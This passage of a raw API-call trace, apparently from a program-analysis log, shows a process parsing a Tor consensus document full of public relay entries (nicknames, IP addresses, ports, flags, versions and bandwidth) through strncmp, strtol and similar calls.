AhXIeVLoNu3NoIN6OYhBz7Y3xVnydnpGdTyZsFl+TVk\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=731\nr hozipi ALIqOUZNig9oebg/jlqo4oMPdAw 2017-08-21 03:42:01 188.174.164.217 80 110\nm eHqGX5t+spaXciCNnxrOjc4qwlpz7PXRIv5HLsUbC94\ns Fast Running V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=206\nr QuengHoSpore ANXCb6OAXcmTRp1THD4LgLL78nQ 2017-08-21 19:20:38 93.29.252.27 9001 9002\nm S1ncRJDzMgpUB+0pP7CmrX4BHambbPf6Hob9i/KwWUc\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=49\nr MYLEX AQt3KEVEEfSFzinUx5oUU0FRwsQ 2017-08-21 04:05:49 188.230.91.173 444 800\nm BYw2DmjX6pT40ShiDifY97YN6rVBWS4PwUr7Kb/sqQQ\ns Fast Running V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=1500\nr DigiGesTor1e1 ARG6m2BGaeY2/9W1A/OCpLetboA 2017-08-21 20:06:17 176.10.104.240 443 80\nm Bkm9UxfffNEj7bD7yENepcbe3ZJS9B09lpaeEHt0hDs\ns Exit Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=30200\nr mndo01 ARHr9cPwbAn/DtOXsN4zRWzG8uM 2017-08-21 18:34:31 139.59.210.198 9001 0\nm rUvK2DAfZAAw6qopNyGZ45AjC4y6L1fikgen5Udgflk\ns Running Stable V2Dir Valid\nv Tor 0.3.0.8\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=1\nr biochemistmoscow ASgRXsTMNXheAF8L8v7ffs3E8Ds 2017-08-21 20:36:08 5.228.12.221 12630 12631\nm jIeCthgvWahqvnicvDHwUVAvJLq8IanFu2rG11Lj80E\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=445\nr Pasuga AT4Dw+lRtHKDe9Yr4xY7oiWVUfY 2017-08-21 05:13:19 85.69.57.27 4445 8885\nm pnRN98HldcSPXpDMyJMwQaiqf117riRuDvHjHgHO+1Q\ns Fast Running V2Dir Valid\nv Tor 0.2.9.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=1080\nr marsmellow AU7iS8vaFg8jayVHpGObJ+MDoec 2017-08-21 07:05:21 62.251.89.74 9001 0\nm lRUWy4T957ovquITXh8Lvju0agJ8cCyWb3CFBlkSjbo\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=3890\nr zorroleroB AVjf5WgvIFDPAxs3PLpi8WextFY 2017-08-21 14:05:43 109.75.184.77 443 0\nm oAq7EvKbaN5GOpEJFhDJGo1V+OH6cCACfstXDN/D5n8\ns Fast Running Stable Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=536\nr d0dak AWCT7kuumvRz/AyBGp0Q/aqco0s 2017-08-21 12:34:51 62.65.107.36 443 0\nm F/u3oUPA4i5rl1VcGNbjf1GMoj9YJjxPzk1ZvmYgadY\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.9.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=891\nr heidelbeermann AWWmgIYt5cNM13JBE0cq97Hdyfs 2017-08-21 02:36:21 84.19.178.155 9001 0\nm R57tNDgaBefi3y1iqENry663CbjRAx/8tuj9eqeUdak\ns Fast Running Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=545\nr noce AWZNQagfgXo+cUANa/1AlHqkCvs 2017-08-21 17:01:46 216.127.173.78 443 80\nm RHZL8oqc/VXGKqpxxYycWEF4t2jDB9OBj7rYhOzCLiw\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=9030\nr hedden AXOnqLqdMgQ2QbaXJtMqmt/ibRY 2017-08-21 09:58:45 93.174.93.133 443 80\nm 8kUOtpUjcFfxz5U9Sobxvy/Z7jK8eYaG2tJjd0GV0JI\ns Exit Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=13300\nr Huddlepoop4 AXQZQsXHeVOE1lkkTdEXSZz4c2I 2017-08-21 08:47:30 178.157.198.187 9001 9030\nm lvXjLapF6OPpyT3VtHL2cabbUcVNEiNUSVpBLjT3lpI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=5270\nr clifford AYA0aChQNFmEeB41O3pGNEPsPwY 2017-08-21 15:19:50 97.107.138.68 9001 0\nm f6glUpMp0kSOCz9GIK1aGy2okbci7DkKqS1tx5Onr3s\ns Fast Running Stable Valid\nv Tor 0.2.5.10\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=1210\nr multisec2 AaD8ChoRjh17F44jllQIDVz+Y/g 2017-08-21 17:12:17 193.90.12.87 9002 0\nm 82h6aIej6E2Oklo+QvO3LSVHebTbSR6u2NWi8jRP6ZI\ns Exit Fast Guard Running Stable Valid\nv Tor 0.2.7.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=6960\nr ForEdSnowden AaHRX5/GftBfopZv+IMGftUCzwg 2017-08-21 08:54:50 51.15.133.16 9001 0\nm 63VYlKb974uUXWxaiaKRoF/ji6cFBMi5ebi5RHVugPw\ns Fast Guard Running Stable Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=3560\nr Unnamed AaXrMo2ePpb0tMAXI7J9w0d39Dw 2017-08-21 13:40:59 185.80.222.105 9001 9030\nm Af8GyINB0hqle5c9RHM62p0Hl7Ge/HvpEDFR+GBXmT4\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=766\nr ins0 Aaklikbpf/iyyseRBXeGLBTyxSQ 2017-08-21 13:35:20 193.171.202.146 9001 9030\nm MeWdRvgTeReILiA8dUZTJ8PrpSm/2dYCjhyjhiDx6es\ns Exit Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.5-rc\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=19700\nr Neurans AaqlqPTvVXyPn95IMpy4fzt0evQ 2017-08-21 15:54:48 98.206.202.53 443 0\nm PtY0SWQytPM4ocNiJQUol/CgjznBOXez7ve68rpIY5U\ns Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=3970\nr wsmith6079 Aa4AK05grlqP9A/bZyYPhasIeK4 2017-08-21 15:58:01 8.37.14.220 9001 9030\nm 1LCI7I00buV1LKcMCBdOZwI2D7DB5ImRiBgjfdlLu1g\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=4050\nr rixtyminutes Aa4t4xQnbIL8zDYDocLzI45lRMk 2017-08-21 15:22:19 149.56.233.142 443 80\nm dsCJtmBbhMsBLi2e3v7B6j1jS9MazB+qe3HvC5M47tI\ns Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=14800\nr dry AbN5Rg1ZY3CGUo3ht+x2nOeX248 2017-08-21 06:35:56 5.255.78.169 32442 26465\nm HoBdYyT4yFQYQBN84yO+tayKa150XRClilS+uGgeqzQ\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.7.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=1150\nr UEUEUEU Abi++ERfTrx0t2bREPiiZkyV25Q 2017-08-21 03:29:06 65.50.203.5 9001 9030\nm He5seWcgBtH19Czt0F8pid/dgVK9DHLYcSCzeT3BsKo\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.8\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=122\nr anonA437536 Ab/v5BU/lg0VZ1CEmiaTVBXa5eM 2017-08-21 08:00:32 93.237.149.202 80 443\nm an8yKZsnJWsVJWyggFK/7myX3050/6HdOHEl4OjT2Vk\ns Fast Running V2Dir Valid\nv Tor 0.2.5.12\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=610\nr beddini AcRiOwQRMklXqFsBWP9xaO7CghQ 2017-08-21 18:09:44 94.242.255.112 443 80\nm ktMGyE/SSiOiAvhSf+RCkqOG3oVNQqs/lzNwTc/uuEQ\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=6210\nr DFRI6 AcZ+DKj5cRHmUsdWTLMgQ2H/+rg 2017-08-21 08:33:38 171.25.193.132 443 80\nm CEMYh+sZkHpR30a26EGgj4PZYAxyhq/CCt6gjQPt8iY\ns Exit Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.8\npr Cons=1-2 Desc=1-2 DirCach" [0119.880] strlen (_Str="\ndirectory-footer") returned 0x11 [0119.880] memchr (_Buf=0x3941a21, _Val=10, _MaxCount=0x12d) returned 0x3941a77 [0119.881] strncmp (_Str1="m 86PugrjeV", _Str2="-----BEGIN ", _MaxCount=0xb) returned 64 [0119.881] strncmp (_Str1="s Fast Guar", _Str2="-----BEGIN ", _MaxCount=0xb) returned 70 [0119.881] strncmp (_Str1="v Tor 0.2.9", _Str2="-----BEGIN ", _MaxCount=0xb) returned 73 [0119.881] strncmp (_Str1="pr Cons=1-2", _Str2="-----BEGIN ", _MaxCount=0xb) returned 67 [0119.881] strncmp (_Str1="w Bandwidth", _Str2="-----BEGIN ", _MaxCount=0xb) returned 74 [0119.881] htonl (hostlong=0x23bc8f06) returned 0x68fbc23 [0119.881] htonl (hostlong=0x68fbc23) returned 0x23bc8f06 [0119.881] _errno () returned 0x9f07d8 [0119.881] strtol (in: _Str="9001", _EndPtr=0x36f004, _Radix=10 | out: _EndPtr=0x36f004*="") returned 9001 [0119.881] _errno () returned 0x9f07d8 [0119.881] _errno () returned 0x9f07d8 [0119.881] strtol (in: _Str="9030", _EndPtr=0x36f004, _Radix=10 | out: _EndPtr=0x36f004*="") returned 9030 [0119.881] _errno () returned 0x9f07d8 [0119.881] strncmp (_Str1="Tor ", _Str2="Tor ", _MaxCount=0x4) returned 0 [0119.881] strtol (in: _Str="0.2.4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".2.4.8-alpha") returned 0 [0119.881] strtol (in: _Str="2.4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".4.8-alpha") returned 2 [0119.881] strtol (in: _Str="4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".8-alpha") returned 4 [0119.881] strtol (in: _Str="8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*="-alpha") returned 8 [0119.881] strncmp (_Str1="", _Str2="(r", _MaxCount=0x2) returned -40 [0119.881] strlen (_Str="(git-") returned 0x5 [0119.881] strncmp (_Str1="", _Str2="(git-", _MaxCount=0x5) returned -40 [0119.881] strlen (_Str="Tor ") returned 0x4 [0119.881] strncmp (_Str1="Tor ", _Str2="Tor ", _MaxCount=0x4) returned 0 [0119.881] strlen (_Str="(r") returned 0x2 [0119.881] strncmp (_Str1="", _Str2="(r", _MaxCount=0x2) returned -40 [0119.881] strlen (_Str="(git-") returned 0x5 [0119.881] strncmp (_Str1="", _Str2="(git-", _MaxCount=0x5) returned -40 [0119.881] strtol (in: _Str="0.2.9.11", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".2.9.11") returned 0 [0119.881] strtol (in: _Str="2.9.11", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".9.11") returned 2 [0119.881] strtol (in: _Str="9.11", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".11") returned 9 [0119.881] strtol (in: _Str="11", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*="") returned 11 [0119.881] strncmp (_Str1="", _Str2="(r", _MaxCount=0x2) returned -40 [0119.881] strlen (_Str="(git-") returned 0x5 [0119.881] strncmp (_Str1="", _Str2="(git-", _MaxCount=0x5) returned -40 [0119.882] strlen (_Str="Bandwidth=") returned 0xa [0119.882] strncmp (_Str1="Bandwidth=", _Str2="Bandwidth=", _MaxCount=0xa) returned 0 [0119.882] strncmp (_Str1="r ", _Str2="r ", _MaxCount=0x2) returned 0 [0119.882] strstr (_Str="r Torpi AHJ/OiwdDxcxqRJnxBFQecFrILQ 2017-08-21 14:02:42 60.225.57.95 9001 9030\nm OQlZwMpEmcbyisDOjQ8hBI5X5otg2VaihxfNQalzuzU\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.4.29\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=23\nr Quintex13 AHe8unJE2z5qXtJ0boYXAGZoSIc 2017-08-21 06:37:12 199.249.223.62 443 80\nm MSgi5gqKShKxEL1nL1Qv7wPjKACZVRtWMuGS+LYOcrY\ns Exit Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.4-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=4160\nr torr0zzy AHkAkox9OM/cs7yEB8rW7leiT+I 2017-08-21 10:06:35 88.198.11.171 9001 9030\nm cOR+jaMOGASTniwVtosZ3jvRKeQasm+kknW4kVeqdwI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=10700\nr powertoyou AIuoi8XPytZLWDhuE4gzcfgX4cI 2017-08-21 16:09:36 88.15.188.87 9001 9030\nm elq2XVA8OvqQajpSxd6rSnnuKnX1wHSGsEacpwHjDZg\ns Fast Guard Running Stable V2Dir Valid\nv Tor 0.2.7.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=9680\nr BobDoe AJQ2YvMOznqi0SYrNk/AQx94+Aw 2017-08-21 08:29:18 167.114.35.107 443 0\nm OD8mzIC+AdfqQquU61OiKu4NI62LNLQ/OrxcM2dkpeI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=8850\nr jactr AJhR35M3VLAN3odvzkCIzhtJQME 2017-08-21 17:27:06 84.40.112.70 9001 9030\nm 8oad5yZhagCebsoaJTZTDvIpKzqBiWpdugcgqcBWLnc\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=363\nr CommanderRoots AKMAUbHTEtCYv18DVDzWjvbctKw 2017-08-21 09:30:19 188.68.33.125 9001 9030\nm AhXIeVLoNu3NoIN6OYhBz7Y3xVnydnpGdTyZsFl+TVk\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=731\nr hozipi ALIqOUZNig9oebg/jlqo4oMPdAw 2017-08-21 03:42:01 188.174.164.217 80 110\nm eHqGX5t+spaXciCNnxrOjc4qwlpz7PXRIv5HLsUbC94\ns Fast Running V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=206\nr QuengHoSpore ANXCb6OAXcmTRp1THD4LgLL78nQ 2017-08-21 19:20:38 93.29.252.27 9001 9002\nm S1ncRJDzMgpUB+0pP7CmrX4BHambbPf6Hob9i/KwWUc\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=49\nr MYLEX AQt3KEVEEfSFzinUx5oUU0FRwsQ 2017-08-21 04:05:49 188.230.91.173 444 800\nm BYw2DmjX6pT40ShiDifY97YN6rVBWS4PwUr7Kb/sqQQ\ns Fast Running V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=1500\nr DigiGesTor1e1 ARG6m2BGaeY2/9W1A/OCpLetboA 2017-08-21 20:06:17 176.10.104.240 443 80\nm Bkm9UxfffNEj7bD7yENepcbe3ZJS9B09lpaeEHt0hDs\ns Exit Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=30200\nr mndo01 ARHr9cPwbAn/DtOXsN4zRWzG8uM 2017-08-21 18:34:31 139.59.210.198 9001 0\nm rUvK2DAfZAAw6qopNyGZ45AjC4y6L1fikgen5Udgflk\ns Running Stable V2Dir Valid\nv Tor 0.3.0.8\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=1\nr biochemistmoscow ASgRXsTMNXheAF8L8v7ffs3E8Ds 2017-08-21 20:36:08 5.228.12.221 12630 12631\nm jIeCthgvWahqvnicvDHwUVAvJLq8IanFu2rG11Lj80E\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=445\nr Pasuga AT4Dw+lRtHKDe9Yr4xY7oiWVUfY 2017-08-21 05:13:19 85.69.57.27 4445 8885\nm pnRN98HldcSPXpDMyJMwQaiqf117riRuDvHjHgHO+1Q\ns Fast Running V2Dir Valid\nv Tor 0.2.9.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=1080\nr marsmellow AU7iS8vaFg8jayVHpGObJ+MDoec 2017-08-21 07:05:21 62.251.89.74 9001 0\nm lRUWy4T957ovquITXh8Lvju0agJ8cCyWb3CFBlkSjbo\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=3890\nr zorroleroB AVjf5WgvIFDPAxs3PLpi8WextFY 2017-08-21 14:05:43 109.75.184.77 443 0\nm oAq7EvKbaN5GOpEJFhDJGo1V+OH6cCACfstXDN/D5n8\ns Fast Running Stable Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=536\nr d0dak AWCT7kuumvRz/AyBGp0Q/aqco0s 2017-08-21 12:34:51 62.65.107.36 443 0\nm F/u3oUPA4i5rl1VcGNbjf1GMoj9YJjxPzk1ZvmYgadY\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.9.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=891\nr heidelbeermann AWWmgIYt5cNM13JBE0cq97Hdyfs 2017-08-21 02:36:21 84.19.178.155 9001 0\nm R57tNDgaBefi3y1iqENry663CbjRAx/8tuj9eqeUdak\ns Fast Running Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=545\nr noce AWZNQagfgXo+cUANa/1AlHqkCvs 2017-08-21 17:01:46 216.127.173.78 443 80\nm RHZL8oqc/VXGKqpxxYycWEF4t2jDB9OBj7rYhOzCLiw\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=9030\nr hedden AXOnqLqdMgQ2QbaXJtMqmt/ibRY 2017-08-21 09:58:45 93.174.93.133 443 80\nm 8kUOtpUjcFfxz5U9Sobxvy/Z7jK8eYaG2tJjd0GV0JI\ns Exit Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=13300\nr Huddlepoop4 AXQZQsXHeVOE1lkkTdEXSZz4c2I 2017-08-21 08:47:30 178.157.198.187 9001 9030\nm lvXjLapF6OPpyT3VtHL2cabbUcVNEiNUSVpBLjT3lpI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=5270\nr clifford AYA0aChQNFmEeB41O3pGNEPsPwY 2017-08-21 15:19:50 97.107.138.68 9001 0\nm f6glUpMp0kSOCz9GIK1aGy2okbci7DkKqS1tx5Onr3s\ns Fast Running Stable Valid\nv Tor 0.2.5.10\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=1210\nr multisec2 AaD8ChoRjh17F44jllQIDVz+Y/g 2017-08-21 17:12:17 193.90.12.87 9002 0\nm 82h6aIej6E2Oklo+QvO3LSVHebTbSR6u2NWi8jRP6ZI\ns Exit Fast Guard Running Stable Valid\nv Tor 0.2.7.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=6960\nr ForEdSnowden AaHRX5/GftBfopZv+IMGftUCzwg 2017-08-21 08:54:50 51.15.133.16 9001 0\nm 63VYlKb974uUXWxaiaKRoF/ji6cFBMi5ebi5RHVugPw\ns Fast Guard Running Stable Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=3560\nr Unnamed AaXrMo2ePpb0tMAXI7J9w0d39Dw 2017-08-21 13:40:59 185.80.222.105 9001 9030\nm Af8GyINB0hqle5c9RHM62p0Hl7Ge/HvpEDFR+GBXmT4\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=766\nr ins0 Aaklikbpf/iyyseRBXeGLBTyxSQ 2017-08-21 13:35:20 193.171.202.146 9001 9030\nm MeWdRvgTeReILiA8dUZTJ8PrpSm/2dYCjhyjhiDx6es\ns Exit Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.5-rc\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=19700\nr Neurans AaqlqPTvVXyPn95IMpy4fzt0evQ 2017-08-21 15:54:48 98.206.202.53 443 0\nm PtY0SWQytPM4ocNiJQUol/CgjznBOXez7ve68rpIY5U\ns Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=3970\nr wsmith6079 Aa4AK05grlqP9A/bZyYPhasIeK4 2017-08-21 15:58:01 8.37.14.220 9001 9030\nm 1LCI7I00buV1LKcMCBdOZwI2D7DB5ImRiBgjfdlLu1g\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=4050\nr rixtyminutes Aa4t4xQnbIL8zDYDocLzI45lRMk 2017-08-21 15:22:19 149.56.233.142 443 80\nm dsCJtmBbhMsBLi2e3v7B6j1jS9MazB+qe3HvC5M47tI\ns Fast Guard Running Stable V2Dir Valid\nv Tor 